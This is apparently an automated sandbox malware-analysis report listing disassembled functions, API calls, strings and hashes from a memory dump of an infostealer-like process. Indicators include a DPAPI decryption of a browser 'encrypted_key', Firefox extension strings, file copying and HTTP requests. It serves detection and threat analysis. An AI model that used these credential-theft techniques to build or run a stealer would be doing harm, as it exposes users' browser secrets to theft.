Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416ED6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416EDD
lstrlenA.KERNEL32(?,0000001C), ref: 00416EE8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416F6C

Strings

ERROR, xrefs: 00416F64

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction ID: 206493d018c0af61ad3247b9a1edf73ec3ff293b71de332acb6c3f6d1aa8c941
Opcode Fuzzy Hash: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction Fuzzy Hash: 5711B131900209AFCB40FF75D9026DCBBB1BF04308B80413AE814E3191D739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction ID: ac01e61fcc3a8dc6a5e43971812eb7396920612e483317b6d6b91c956b259603
Opcode Fuzzy Hash: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction Fuzzy Hash: 84F0B471600218ABDB24EB68DC45FEF77BC9B44B08F10006AF645D7180EEB5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction ID: f20441c87b7e9a3b4f7029758dad72c3b509e7d63b864ac140ecc9ec0d22b659
Opcode Fuzzy Hash: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction Fuzzy Hash: 2D714072A00119ABCF01FBA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

moz-extension+++, xrefs: 0040D4DD
^userContextId=4294967295, xrefs: 0040D4D7

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: ae3a14dfbe6f3ec2ed6d2cc1cd355128f425982979edd8864c0be2403f7a9293
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: ae3a14dfbe6f3ec2ed6d2cc1cd355128f425982979edd8864c0be2403f7a9293
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 0040821B
"encrypted_key":", xrefs: 004081DF
, xrefs: 00408241

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 034d3ebf0bbd41a52b14413c82dab1af8e55324f20d12265e500f68ae9061e99
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 034d3ebf0bbd41a52b14413c82dab1af8e55324f20d12265e500f68ae9061e99
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
RtlAllocateHeap.NTDLL(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction ID: 829b10f54598a7ff4258e043d4963b9d7c9dabd005c17a1734c4fecc941c9070
Opcode Fuzzy Hash: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction Fuzzy Hash: 22F031B2900218BBDF14DFE59C059BF77BCAB0C716F001095F941E2180E6399A80D775

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

~{A, xrefs: 004164AE

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: ~{A
API String ID: 2104210347-1816022387
Opcode ID: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction ID: ef6e44f044fd48bf473e8ed9b3318a571f04af2e7fbcf45178638c8cb6289389
Opcode Fuzzy Hash: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction Fuzzy Hash: 3231F77280010DEFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 0041686B
ERROR, xrefs: 00416896

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FA7 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 0041700E
CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction ID: 6ddc57dea45eff21f3b413cd8a29bb57df9be50e409c6c2ee2748a51ac3a6ecc
Opcode Fuzzy Hash: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction Fuzzy Hash: E6217832900229ABCF10EF96EC419DE7BB9FF44358F10402BF904A3150D738AA86CFA4

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C4B3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C4B3095

Part of subcall function 6C4B35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C53F688,00001000), ref: 6C4B35D5
Part of subcall function 6C4B35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4B35E0
Part of subcall function 6C4B35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C4B35FD
Part of subcall function 6C4B35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4B363F
